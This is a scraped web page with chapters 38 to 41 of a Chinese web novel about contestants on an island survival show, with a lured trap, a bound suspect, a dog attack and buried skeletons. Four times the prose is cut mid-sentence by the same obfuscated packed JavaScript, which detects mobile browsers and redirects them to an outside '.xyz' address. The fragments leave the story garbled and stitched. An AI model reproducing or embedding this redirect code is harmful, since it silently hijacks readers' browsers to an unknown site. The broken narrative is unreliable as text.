这样,也不虚此行了。 “带着伯父伯母一起来吧,若水姐,我给你打折!” “我替他们谢谢你的邀请。”李若水笑了笑,动作轻巧地拿过她手里的饼干袋子塞入空矿泉水瓶,“但是他们已经车祸去世很久了。” 杜小凡愣住:“对不起……” 李若水摇了摇头:“没关系。他们死得没有痛苦,我相信他们去了天堂。” [李若水父母死了?是亲的吗?] [笨,她都说了她从小在福利院长大,之后被领养,肯定是养父母啊。] [哦哦哦,我查查看……是这个新闻吧?x年x月x日,十三区磁轨区不慎撞死老年夫妻,据查明,这对夫妻是艺人李某某的父母,老人不慎在通行时段误入磁轨区,才导致此次悲剧发生,望广大国民引以为鉴,行路千万条,安全第一条……] [那也不能怪政府吧?是她养父母自己闯进去的啊?磁轨正常通行有什么错啊?] [楼上杠精吧?人李若水说了怪政府了吗?] 李若水无视手机上的争论,始终不紧不慢地整理着地上的垃圾。 吃完午饭,三个人清理这一块的落叶和石头,准备收拾一圈晚上睡觉的地方出来。 杜小凡一拍脑袋:“英喆哥,我想起来我好像把迷彩烟落在前面的树林里了……能麻烦你帮我去找找吗?” “迷彩烟?” 陈英喆皱了皱眉,“这么重要的东西,你怎么能丢呢?拉响迷彩烟渔民才能看见你啊,不然你怎么上船?” “辛苦你啦,英喆哥,都怪我丢三落四。”杜小凡难为情地低下头,指了指左侧前方的一片区域,“就在那一块,我刚捡野果的时候丢掉的。” 陈英喆点点头,大步朝前走去。 [杜小凡怎么整天不带脑子?不是丢这就是丢那?] [对小女孩宽容点吧各位,你们指望一个长期遭受虐待,又被侵犯的未成年能多细心,你们平时就一点不马虎?] [算了算了,当我没说,我也是心疼我哥哥。] [你哥哥比杜小凡还大两岁,是成年人,不会丢的。] 待陈英喆的身影走远,两人继续收拾矿泉水瓶和饼干袋子,把空瓶踩瘪,和空袋子团成一团,埋到土地里。 趁着蹲下身的时候,杜小凡凑近李若水,嘴唇贴近她的耳廓,用近乎呓语的音量说:“我在那一片树林里放了捕兽夹。” 杜小凡眼带愧疚,却很坚定:“虽然这样很对不起英喆哥,但是现在,我手无缚鸡之力,若水姐你又病着,我们两个人怎么制服他?” 李若水:! 她眼神震惊地望向杜小凡。 这就是不干则已,一干则一鸣惊人的潜质吗? 怎么做到的? 李若水:“你哪来的捕兽夹?” 杜小凡耸耸肩:“找野果的时候在树林里捡到的。” 说罢,又从行军包里掏出一捆粗粝的麻绳:“还有这个……也是我捡到的。” 李若水:! 再度震惊!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567109|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 七彩弹幕跟李若水一起震惊。 【我服了,杜小凡是绑定了什么猎人宝箱系统吗?】 【不是,这种东西也是能随便捡到的吗?这个岛上为什么会有这种东西啊!】 【看起来这个岛也没有大型野兽啊,奇怪。】 【别大惊小怪了,现在没有不代表以前没有,可能是很多年前遗失的吧。】 …… 陈英喆插着兜,朝左前方的树林走去,走着走着,地势逐渐变得低洼平坦,就像是从高处往低谷走,人有奇妙的失衡失重感。 这是什么感觉? 他掏出手机,打开节目组传送的地图,拿出指南针对照地形,发现自己正身处这座岛的最中心地带,地图上的图形呈现出一片长方形的洼地,方方正正,很是独特。 陈英喆试探性地下了坡,在地上虚虚地踩实。 脚下的这一片泥土跟岛上其他的土地触感十分不同,踩上去格外的松软,就像被人长期铲挖过一样。 站在这其中,向上望去,周围环绕着重叠起伏的巨树,高耸的黑色树干直破云霄,层叠茂密的树叶遮蔽住所有的微光,眼前只余无边无际的黑暗。 陈英喆心里忽然涌起一阵恐惧。 他像被一群巨人包围,整个人变得如此渺小,身下的土地暗无天日,泥土散发着腐朽和腥甜的味道。 这是哪?这是什么地方? 陈英喆猛地回想起—— 狄马从口袋里掏出一张皱巴巴的纸,展开,那是节目组发的介绍地图。 “看这岛形,别的不说了,最奇特的是这一块,中间略低,长方形凹陷,外周低耸,像不像个‘回’字?” 卜思雨刚要回答,杜小凡已经轻快地接过话头:“我看倒像个盒子。” “盒子……确实也像,”狄马不由多看她一眼,“你这丫头挺有灵气。” 他……现在在那个盒子里? 恐慌的第六感让陈英喆脖颈上弥漫起一小片鸡皮疙瘩,直觉告诉他,离开这里,马上离开这里! 他立刻抬脚往矮坡的边缘走去,没走几步,只听“咔嚓”一声,腿上一阵剧痛,低头一看,黑色铁制的捕兽夹已经深深地卡入他的小腿。 “啊啊啊啊啊!” 捕兽夹的夹齿似乎是特制的,既尖又长,小腿立刻被刺破,涌出大股大股的殷红血液,陈英喆抱着腿痛得大叫。 杜小凡从坑上探出头,惊呆了:“怎么会这样?……对不起,英喆哥,我特意选了没生锈又掉了齿的捕兽夹,我看它年月很久了,应该很钝,不至于伤这么深的。” “什么意思?”陈英喆满头大汗,“你是故意放捕兽夹的?你为什么要这样?” 李若水身手轻巧地跳下矮坡,手掌按住地面,稳稳地落在他旁边。 “给我看看。”她查看了一番伤势,又给伤口处喷了点药,“还好,只是皮肉伤,但是肯定会很痛……英喆,对不起,我们也是无奈之举。” [我懵逼了,这是在干什么?] [啊啊啊啊气死我了,你们两个为什么害我哥哥!] [侦察员呢,这算故意伤害了吧?] [你们凭什么这样对我崽?我一定会弄死你们,一定会!] 弹幕一片喧闹杂乱。 杜小凡眼眶含泪,再次道歉:“对不起,对不起,英喆哥,我们只是想让你暂时失去反抗能力,没想伤害你,这个捕兽夹我真的没想到这么厉害……” 陈英喆摆摆手:“这好像不是一般的捕兽夹,算了……你们到底为什么要这样对我?” 金发下清浅的眼眸紧紧盯住李若水,他似乎明白,李若水才是主导者。 “你先告诉我,你为什么要上岛。”李若水淡淡地说,“你是不是为了杀人而来?” 那双颜色浅淡的瞳孔猛然睁大了。 39. 老照片 [什么意思?李若水的意思是说陈英喆是杀人犯吗?] [我不相信!这是造谣,这是污蔑!] [可是,我看陈英喆的眼神……我怎么觉得怪怪的。] [他是被吓蒙了吧?] 陈英喆的表情凝固了几秒,嗤地笑出声:“开什么玩笑?以我现在的流量、知名度、资产,你能找出哪怕一条我杀人的理由吗?” 李若水镇静地摇头:“跟你红不红、赚多少钱都没关系。” “如果一个人至亲至爱的人蒙受不公平的悲惨命运,死于非命,爱她的人会愿意抛下所有,只为替她报仇雪恨。” 陈英喆默不作声。 “你昨天晚上,是做完噩梦,想要杀人吧?”李若水继续问道,“你之前就杀过人了,虽然不知道理由,但是闫文清也是你杀的,你现在还想杀第三个人。” 未来的网友们急得口吐飞沫。 【急急急急急急,谁能告诉李若水她抓错人了啊!】 【人不是陈英喆杀的啊!那不是一个东西!】 【那只是我们的猜测,也有可能是陈英喆不是吗?陈英喆到现在也没有否认。】 “陈英喆,你至亲至爱之人是谁呢?你准备杀掉谁?” “……” 见男生始终不答,李若水眼中冷意陡然更深。 她掏出兜里那把小刀,刀鞘一转,锋利的刀刃抵住他的咽喉,追问道:“你敢用你心里所想之人的名义起誓,说你昨晚不是想杀人吗?” “你敢保证你接下来不会杀人吗?” 陈英喆扭过脸,视线回避开喉咙处的刀刃。 “无可奉告。” [?] [?] [???] 满屏的问号。 陈英喆的粉丝快要崩溃。 [什么意思?陈英喆这是承认了吗?] [不!我不相信!我崽不可能杀人!] [知名爱豆竟是反社会人格杀人犯?这个综艺节目组是不是该去烧香拜佛啊,怎么爆出来的新闻一个比一个劲爆?] “那就对不起了。” 李若水用麻绳绕了几圈,把男生的手脚紧紧绑起来:“在你不供述犯罪事实之前,为了防止你杀人灭口,我只能暂时让你失去行动能力。” [不要啊!陈英喆我求求你,求求你说句话啊,哪怕一句辩解也好!] [说啊,说你不是想杀人,你不是杀人犯!] 陈英喆紧闭嘴唇,无视弹幕上的声声哀求,任由李若水将他牢牢束缚,始终不发一言。 “为了我们十四个人的安全,你就先在这里呆着吧。”李若水静静地从上方望着他,“等你什么时候想通了,我再解开你。” “如果你想不通也没关系。”李若水看了看手机上的时间,“还有24小时,渔船就将路过这片海域,你会和小凡一起打包上渔船,侦察员会在岸的那头接应你。” 她搭上杜小凡的手,攀爬到坡上的平地。 杜小凡嘴唇颤抖:“太可怕了,英喆哥居然真的想杀人……” “知人知面不知心。”李若水眼神黯然,“走吧,去休息会儿,在渔船到来之前,我们得保存体力。” 保鲜膜铺出一片干净的栖息地,后背仍能感觉到零乱树叶的触感,碎石在身下钝痛着硌人,李若水把双手枕在脑后,抬眼望向天空。 只不过这么半天的功夫,天色变得更黑了,就如同浓墨泼洒过一样,浓厚的乌云堆积在一起,压抑而沉重。 乌云里忽然洒下淅淅沥沥的水珠。 这是下雨了。 她又站在泥泞的湿土上,注视着已经被她砸死的、翻过身、死得透透的闫文清。 好冷静,好冷静。 心情无波无澜。 只是,他的眼睛为什么要瞪这么大,为什么要一直看着她? 看着这样的眼神,她喉咙涌起一阵不适,就像吃了细沙里的小石子,连心脏都钝钝地酸胀发痛——她讨厌人濒死时的眼神!讨厌讨厌讨厌!! 我不想你死啊! 心里疯狂地呐喊着。 不要死! 你死了丢下我一个人要怎么活! 像在对久未谋面的故人喊话。 宛如被蛊惑一般,慢慢地蹲下身,伸手抚上闫文清的眼睛,豆大的雨水一颗颗打落在手背上,那只手没有丝毫犹豫,轻轻地向下,阖上了闫文清的眼皮。 李若水在睡梦中猝然睁开眼! 不对! 弄错了! 杀害闫文清的人不是陈英喆! “若水姐!”树林里传来一声呼唤,是杜小凡的声音,听起来十分焦灼,“你快过来!” …… 尽管双手双脚都被绑着,陈英喆依然拼尽全力在地上蹬扯着,想要靠摩擦力挣脱绳索。 他不能就这么下岛! 他还没有报仇! 蹬了片刻,脚侧的泥土被他蹬出一个浅坑,这里的泥沙本来就密度极低,轻轻一蹭就露出浅层沙土下的海螺、贝壳,以及一些碎枝落叶。 陈英喆抬起上半身,让身体更贴近坡壁,在山坡上蹭着手腕打结的绳索。 蹭着蹭着,他双眸忽然惊恐地瞪大,看向脚下被蹬出坑的泥沙,那里被他多次蹬蹭后,露出了埋藏更深的物体。 那是什么? 不会是…… 应该不会吧? 他将头微微俯近眼前不远处的白色,眯起眼想要努力地看清……看清一点,再看清一点,不会的,应该不会是的…… 终于看清了。 薄薄的泥沙下掩埋着洁白的骨骼,颌骨是扁平的,肋骨是条状的,森森白骨表面落着灰褐色粉尘,像生锈的结痂,尽管难以辨认,还是能看见头颅骨上黑洞洞的两个眶,如漆黑瞳孔紧盯着他。 是人的骨头! 陈英喆脸色惨白,脑袋嗡的一声,像个断线木偶般整个身体被定格,一动也不能动。 …… “怎么了?” 李若水走到杜小凡身边。女孩手里拿着半张泛黄破败的照片,照片的覆膜已经在风吹日晒中融化得黏湿,彩色褪色成暗黄色,模糊得看不清上面的人影。 “你看这个。”杜小凡将照片递给她。 李若水辨认半晌,看出上面是一个男孩子,穿着厚重的军绿大衣外套。 “这是谁?”她眼神微微错愕,“照片又是从哪里弄来的?” 杜小凡眸光淡淡闪烁,将残破的半张照片翻转。 白色的纸面上,遒劲的钢笔墨痕虽已晕染开来,但仍能看清楚那一行字。 祝: 培训顺利。早日学成归来。 遥祝弟憧光。 “遥祝”二字前隐约还有字迹,却被从这里撕裂了,就像是故意不让人看到写字者到底是谁一样。 “若水姐,你不觉得很奇怪吗?”杜小凡目光停顿在落款上,眉头紧紧皱起,“憧光的照片怎么会在这里?” 李若水更不解了:“憧光是谁?” “我忘了,你不认识憧光。”杜小凡怔怔地说,“他是和我一起演达摩诀的同期演员。” - 摄像棚里搭着绿幕,十二盏大灯明亮。 “施主,你说我对红尘仍有留恋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569033|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你错了。” 身穿白色僧袍的和尚手捻佛珠,对杜小凡道。 “人这一生,无非二百零六块骨。我已观透这众生皮相之奥妙,就算你今日杀了我,我已证道,此生圆满。那么于我而言,生又有何欢,死又有何惧?” 他垂目一笑,拂袖而去,袖袍翻飞,烛台上的火光瞬间尽数熄灭。 “OK!” 副导演从镜头后探出身:“这条过了,憧光,演得很好啊。” 赞扬完,转头看向还在凝神研究回放镜头的萧铭,“连萧影帝都夸你演技厉害是个天才呢。” 男生波澜不惊,表情淡然地道了谢。 杜小凡一向自诩天赋过人,是偶像中的实力派,但跟这男生乍一对戏,竟被对方演技惊得头皮发麻,震撼难言。 “喝点咖啡吧。” 换下戏服,和叫憧光的少年并肩坐在椅子上对下一场戏,杜小凡拿了一罐咖啡递给他。 男生却忽然笑了。 “你笑什么?”杜小凡有点脸红,“我不是在讨好你,这是礼貌。” 男生眼里透着淡淡笑意,声调柔和:“对不起,没有其他意思。我只是想起拍定妆照的时候,你也是拿了一罐咖啡给我,看来你真的很爱喝咖啡。” 原来是这个意思。 杜小凡窘迫地坐下:“咖啡能抑制食欲,对减肥有好处。” 看着男生清隽的侧脸,她突然想起王良奥口中的传言,咬了咬唇,终于脱口问道:“是谁介绍你来拍这部剧的?” “是裴姐,裴婉命。”男生翻动着剧本,随口答道,“我和她女儿是好朋友。” “裴佳明?”杜小凡回忆起圈内的传言,“裴佳明是不是……” 男生静默良久,开口道:“没错,佳明现在住在疗养院的重症病房,已经失去意识了。” “你和裴佳明是怎么认识的?” 杜小凡眼神扫过他没有logo的白色短袖和普通卡其裤,她从八岁混娱乐圈,眼神早已磨练得火眼金星,一眼就能看出对方穷富。虽然男生气度不凡,但那是生来自带,工作人员对他态度轻慢,足见对方家境平凡。 同学吗? 不太可能。 朋友? 是通过什么渠道成为朋友的呢? “是因为童年有相同经历成为朋友的。”男生喝了一口咖啡,眼中露出一抹不易察觉的温柔,“我和佳明都报名了当年的童星选秀节目。” “星星孩子?”杜小凡微怔。 男生颌首:“你也知道?可能全帝国的孩子那几年都报名过吧……佳明一直很想当明星,从小就是。我们一起进的初面组,在初面中成了朋友,只有我和她进了第二轮,为了确保她能实现梦想,我放弃了填报报名表。” “后来我们就成为了挚友,我们常通电话,无话不谈,直到……”男生带着几分苦涩继续说道,“直到她忽然神经瘫痪,被查出来是渐冻症。” “我经常去病房里探望她,和护士一起帮忙,给她翻翻身,说说话。裴姐在病房遇到我,问我对演艺事业有没有什么打算,介绍我来参演这部剧。” “说到底,都是托佳明的福。”男生攥了攥手,眼里有浓重化不开的悲伤。 那感情是什么,已经很明了了。 杜小凡喉咙里像是被什么东西堵住,她垂下眼帘,遮掩住自己眼底的失落和自嘲。 幻想着对方和自己经历着同样肮脏的事情,幻想着能和对方在卑劣的境地下互相生火取暖,甚至幻想着能像刺猬一样相爱。 原来,对方根本不是痛苦的刺猬。 不堪的人,只有她一个而已。 40. 恶犬伤人 那天之后,杜小凡会有意无意地避开和憧光对话。 深夜十一点,蹑手蹑脚从王良奥的房间出来,脖子上遍布痕迹,外套还虚虚掩着,内衣错位,杜小凡一回头,正撞上憧光从洗衣房回来,男生脸上满是错愕。 刹那间杜小凡脑袋嗡嗡作响,她呆楞着与男生对视,脚像被胶水黏住,不能前进也不能后退,走廊的声控灯因为久久没有声响熄灭,几步之遥外的轮廓隐没在黑暗里。 “哒哒”的脚步声在走廊上响起。 灯又亮了。 服务生端着盘子脚步轻巧穿过,目不斜视地看了他们一眼,似乎在八卦这两个小演员之间究竟有什么纠葛。 灯灭了,走廊又陷入黑暗。 涌动如雾的黑暗里,杜小凡嘴唇微张,难以言说的苦味在舌尖缠绕,最终还是沉默不语,转身就走。 走到尽头,憧光却追了上来:“小凡!” 杜小凡默不作声,步伐越来越快。 憧光拽住她的衣袖,杜小凡一把甩开:“走开,不要拉我!” “我们是朋友。”憧光说,“你有任何困难都可以告诉我,我一定帮忙。” “朋友?”杜小凡猛地回头,对他怒目而视,声音已带上哭腔,“你有没有问过我,想不想跟你做朋友?” “裴佳明才是你的朋友,不对,裴佳明其实就是你的女朋友吧?” 自卑在这一刻如海浪般呼啸而来,带着毁天灭地的气势要将她吞没。这一刻她只想自暴自弃,受他一顿辱骂,让他看看…她究竟是多么肮脏不堪的人。 “我很恶心!”杜小凡尖利地说,“我喜欢你!第一眼见到你我就喜欢你,我知道你喜欢裴佳明,那一刻我恨不得她不要醒!凭什么她那么好运,生来含着金汤匙,有裴婉命这样的母亲,又有你这样的青梅竹马,生了病也对她不离不弃。” “而我……” 杜小凡说不下去了。自己的影子在地板上拖长成张牙舞爪的怪兽,丑陋不堪。 其实她心里懵懂知道,她一直在遭受精神控制和虐待,但她必须蒙骗自己。而这些蒙骗,在真正的爱面前,显得如此可笑。 男生眼神带着一丝震惊,但很快被按捺下去,又恢复了平常的沉稳与从容。 “小凡,并不是你想的那样。” 憧光侧身将身上那件军绿色大衣给衣衫不整的女孩披上,走廊尽头是一面落地窗,隔着窗户,深夜的薄雾在蔓延,如诱人的塞壬海妖,男生的面容隐藏在雾气下,仿佛带着深深的疲惫和痛苦。 “每个人都有很多痛苦,我也是,佳明也是。佳明总是发消息给我,说她很害怕,却从不告诉我她究竟在害怕什么,我居然那么理所当然地忽视了她的恐惧和痛苦,等我见到她最后一面时,她已经是植物人了。” “医生说,佳明的渐冻症跟普遍的渐冻症不同,爆发得太突然也太快了,忽然就到了神经瘫痪的程度,几乎没有治愈的可能。” “佳明,这辈子只能作为植物人活着了。” 男生的眼泪流淌下来,模糊了视线,这个昏暗的走廊似乎变成了那个没有灯、没有光的病房,他紧紧攥着心爱女孩的诊断书,胸口的压迫感令他喘不过气,肋骨犹如断裂般疼痛。 杜小凡呆滞地望着他,脑海一片混乱,她只知道裴佳明是重症,料想以裴佳明的家境,在专业疗养院吊命几年,再用高端技术治疗,完全治愈只是小菜一碟。 裴佳明……这辈子不可能醒来了吗? “但我还没有放弃。” 男生望着窗外的阴霾,抑制着夺眶而出的泪水:“你看,再过几个小时,太阳就要升起来了。只要还能看见太阳,一切都还有希望。” “小时候,我们一家人去看日出,我姐姐跟我说,人只要活着,就一定会犯错。但是每个人都有一次改正的机会,只有一次。如果抓住这次机会,就能从海底浮出水面,就能见到最伟大的日出。” “我对着日出许愿了,我请求太阳原谅我的错误,给我一次改正和挽回的机会。” 一滴泪划过他的脸颊。 杜小凡眼神迷茫又痛苦地看着男生的侧脸,那第一次见面就令她心生好感的英俊面庞近在咫尺,触手却并不可及。她整个人像被泡在酸苦的石灰里,皱缩成紧巴巴的口袋,胸口漏了风,一直吹,一直吹。 是羡慕吗? 是嫉妒吗? 好像都不是。 下一秒,杜小凡明白这种情绪叫什么了。她心里被细针戳出绵绵密密的疼痛,一针一针绣进心脏,让跳动的心酸涩肿胀,痛不堪言。超越了所有阴暗面的这种情绪,叫作心疼。 “太阳给你机会了吗?”她喃喃地问道。 男生望着窗外,兀自出了一会神,温柔答道:“应该是给了。” - 李若水摩挲着那张照片:“确实很奇怪,这张照片怎么会出现在这个岛上呢?难道他来过这个岛?” “不可能!”杜小凡头摇得如同拨浪鼓,“我听到的消息是,憧光去达加奥进修演技培训了,这个消息来源应该准确的。” “为什么?是谁告诉你的?” 杜小凡皱了皱小脸,虽然不大情愿,还是如实道:“是王良奥告诉我的,而且从那之后,我确实没有在国内见到过憧光。” 风呼呼作响,照片的一角被刮得卷起来,天倏忽地灰了。伴随着空中的一声惊雷,灰黑色的天空被闪电切开半截,雨点从乌云中拍打下来,李若水脸上一凉。 雨水哗哗的倾倒声中,她听见远处传来隐隐约约的狗叫。 “汪!” “汪汪!” 狗叫? 这里怎么会有狗叫? 杜小凡仓惶着一张小脸,问道:“若水姐,你听见了吗?……这里怎么会有狗叫?” 那不知何方的狗持续不断地叫着,暴烈而固执,似乎带着暴怒的情绪。简直就像是一条疯狗。 李若水心底忽然涌上一阵不详预感,她和杜小凡二人打着手电,在这偌大的树林里转悠着,狗叫声分明就在附近,然而却始终看不见狗的踪迹。 雨越下越大,奔流不止,敲打着树叶和泥土,泥浆灌满了土地之间的沟壑,从高处漫出来,水洼反射着雷电白亮亮的光。 水漫过了李若水的脚踝,她的额头被闷热弄得湿透了,背上也汗津津的,分不清到底是雨水还是汗水。 陈英喆望着坡上那条诡异出现的黑狗,脊梁骨传来一阵寒意,后背也浸透了一层冷汗。 因为工作的缘故,陈英喆见过很多可爱的犬种。但面前的这条狗无论如何也称不上“可爱”二字。 如果狗也能拟人,这条狗一定是个狠厉的老头。嘴鼻周围布满了深深的沟壑与皱纹,两只耳朵短而竖直,警惕肃杀地抖动着。眼白泛着微微的血红,鼻孔呼哧地瓮张着喘气。 陈英喆心头一寒,蓦地联想到病犬的说法。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581440|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这条狗,很像是疯狗。 绳结被他蹭得松开了些许,陈英喆用手指勾解着绳结,面对着狗挪动着身体后撤,想要尽量在不刺激它的情况下逃开。 狗没有动作。 麻绳十分结实,好在他手腕上有个特制的银手环,雕刻着凸起的花纹,能勉强充当工具来增加摩擦力。陈英喆又蹭了一刻钟,随着手环掉落在地的一声扑腾,绳结终于松开鸡蛋大的空挡。 他欣喜万分,将双手腾出绳结,又解开脚腕的绳索,扶着坡壁慢慢地站起身。 狗依旧威风凛凛地站在坡上,似乎并不准备攻击他。陈英喆犹豫了一下,避开那双血红的犬眼,弯下腰想要捡起掉落在土地上的手环。 然而这个弯腰的动作激怒了狗。它猛地一声吠叫,从坡上冲了下来!狗身足有人身那么长,陈英喆被猛然扑倒在地,动弹不得。 恶臭的口涎滴在他的小腿上,狗牙深深地咬进他的小腿!本就被捕兽夹夹伤的小腿旧伤未愈,又被这么一咬,顿时加剧了伤口的创痛,那种疼痛无法言喻,痛得陈英喆身体一阵颤抖,脸因痛苦而扭曲,几乎昏厥。 “滚啊!”陈英喆勉力起身,挥拳砸向那条狗,“给我滚!” 但鲜血似乎刺激了狗的神经,使它更兴奋了,它匍匐到陈英喆的腰部,张口就要咬下去—— “滚!” 李若水苍白着脸,手里举着一支燃烧的火把,狠狠地挥向亢奋的黑狗。 火焰燎伤了狗的皮毛,它嗷呜两声,发出人一般的呜咽,脚刨了两下地,飞快地爬上坡,遁入树林里,只一瞬间就不见了踪影。 李若水转头看向陈英喆:“你怎么样?” 陈英喆额头渗出层层密汗,呼吸因疼痛急促不已,虽然疼得全身蜷缩成一团,但还能说出话:“还好……暂时没死。” 不管是实时弹幕还是未来弹幕都已经炸开了锅。 【岛上怎么会有狗!还是恶犬!】 【会不会是打猎的人留下的猎犬啊?】 【有可能,但是那个狗也太危险了,看起来很凶残。】 …… [陈英喆这个伤看起来很严重,血流了一地。] [杀人犯还有人同情?你们的良心被狗吃了吧?刚刚闫博士妈妈还直播了,说要去帝国市政厅门口上访,要求立刻把陈英喆捉拿归案呢。] [那只是李若水的单方面说辞啊,她也没有证据不是吗?] [可是陈英喆也没有辩驳不是吗?] 李若水用矿泉水清创干净伤口,又给陈英喆上了药,用绷带把创口包扎起来。 看着不断流血的伤口,她眉心紧拧,伤势的严重程度已经超出了她所具备的医疗常识,而且她更担心的是,万一那条狗携带病菌,伤口又久久不愈,陈英喆一旦感染,会不会死在这里? 陈英喆始终紧闭双眼,嘴唇不见一丝血色,豆大的汗珠密密麻麻地冒出来。 李若水沉默片刻,说:“闫文清不是你杀的。” 陈英喆猛地睁开眼。 “我看见了。”李若水凝视着他,“我带点玄学体质,能通灵,我看到了,杀掉闫文清的人,右手有六个指头。” 她俯身抓着陈英喆的小臂,将他的手掌摊开在自己眼下,那是一只正常的、有力的手掌,摊开的五个手指干净又修长,泛着健康的小麦色。 “你不是凶手。” “凶手,另有其人。” 41. 多具白骨 那双下垂的眼睛又闭上了,陈英喆急促地喘息着,强忍住小腿上钻心刺骨的疼痛,伸手指了指不远处的地上。 李若水低头看了看,只见地上掉落着一只银色手镯,正是之前让她怀疑过陈英喆的那只手镯。 她捡起手镯,塞到陈英喆手里。陈英喆疼得直流冷汗,说不出囫囵话,却倔强地摆了摆手,手指高举着指着更远处的土地。 “若水姐,英喆哥好像指的是那一块,我去看看。” 杜小凡紧紧贴着坡壁走到陈英喆所指之处,眼前的景象越来越清晰,待到看见黄沙下掩埋的究竟是什么时,她脑袋轰地变成空白,脱口而出一声划破天际的尖叫。 “死人!是死人!” “什么?” 不敢相信自己听到了什么,李若水瞳孔紧缩,如离弦的箭一般大步走上前,走到目之所及处,整个人僵在原地,从头到脚生出一阵寒意。 土地下,静静地躺着一具骷髅架子。白如雪,沙如尘,如同漫漫黄土里开出了一朵静谧而忧伤的白色莲花,美丽却诡异。 [我真的要吓死了,这个岛到底怎么回事,怎么除了死人还是死人啊?] [先别自己吓自己,这么多年了,如果是登岛失踪的渔民或者猎户,死在这里也很正常吧?] [对啊,又不是所有的死亡都是谋杀,帝国每年那么多失踪人口,登山的、探险的,倒霉的人从来只多不少。] [如果是当地居民,好可怜啊,无声无息死在这里,连个收尸的人都没有。] 实时弹幕一时间议论纷纷。 【别慌。】 墨绿色弹幕又出现了。李若水记得这是个求生经验极其丰富的大佬。尽管不能交流,但他的语气就像是在隔空安慰李若水一样,让她镇静了些许。 【深山老林遇到故人很正常,一般来说,遗物就在故人尸体不远处,再找找,说不定就能找到证明故人身份的物件。】 【是啊,一定能找到遗留物件的,主播加油!】 李若水看着这些弹幕,深呼吸两下,恢复了理智。 “小凡,给我铲子。” 杜小凡哆嗦着手将挖铲递过来,李若水屏住呼吸,将铲子朝浅层沙土重重铲下,踩入泥泞下的区域,挖出一个更深的坑洞。 泥土被铁铲舀走,露出其下的各种杂乱,再深入,黑褐泥土中果然露出了一些零碎的彩色。 李若水扔下铁铲,用手扒拉着这些沙土,十根指头上沾满了泥,可她顾不上了,出现在眼前的这些物件实在是太奇怪、太不合时宜了,就像是彩色糖果罐里突然出现了一根手指头一样惊悚。 粉色蝴蝶结、绿色发卡、闪光戒指、红色格子围巾、黑色耳机线……这些不属于荒岛来自城市的物件,怎么会聚集在这里?还深埋地下? 伴随着轰隆一声巨响,曲折的电光在暴雨的密网中炸开,把这片平坦而广阔的低谷照得无所遁形。 黑色泥土深处有一道亮光一闪而过,李若水迟疑着伸手,将那道光芒拿了起来——是一枚银色手镯。 借着雷电的光,她仰望着上面雕琢精巧的花纹,手镯一寸寸转动,雨水滴滴答答从弧形边缘流下。 为什么觉得这手镯如此熟悉,仿佛在哪见过……这个念头刚出现在脑海里的一瞬间,李若水已经恍然大悟。 瞬息间,她被扑通一下撞倒在地!本该昏迷的陈英喆在雨水中跌跌撞撞地爬过来,一把夺过那只手镯。 他的头发已经被暴雨浇得湿透了,往下滴着水,腿上的伤口还在流血,血水混杂在雨水中染红了沟壑。 陈英喆坐在地上,手里还举着那枚手镯,身躯在暴雨中颤抖着,眼眶里渐渐蓄满了泪水,雨点混合着泪珠在脸颊上翻滚着坠落,化作撕心裂肺的痛哭。 “憧光!憧光!” 手镯掉落在泥土上,男生推开李若水,胡乱地摸索着那具白骨,哑着嗓子一遍又一遍地喊着遗物主人的名字。 杜小凡站在他面前,眼神茫然而涣散,不敢置信道:“什么意思?英喆哥,你是说……这具白骨是憧光是吗?” 后脑勺一阵疼痛,李若水勉力坐起来:“你认识憧光?这具白骨是他?” 陈英喆泣不成声,没有回答。 冰凉的雨水拍打着李若水的脸颊,她目光深深凝住——如果手镯是遗物,这些毫无线索的饰品有没有可能,也是? 这个可能性让她顿觉毛骨悚然,脖颈起了一片鸡皮疙瘩。 思及此,李若水用脚踢挖四周更深处的泥沙,察觉脚下有坚硬的物质,她起身继续握住铲子,毫不犹豫地朝坚硬所在处深深地挖了下去。 【刚刚那条狗你们都看见了吧,我去确认了一下,跟我想的一样,这狗有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588212|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来头。】 墨绿色弹幕又出现了。 【来头?不就是疯狗吗?】 【求大佬科普!】 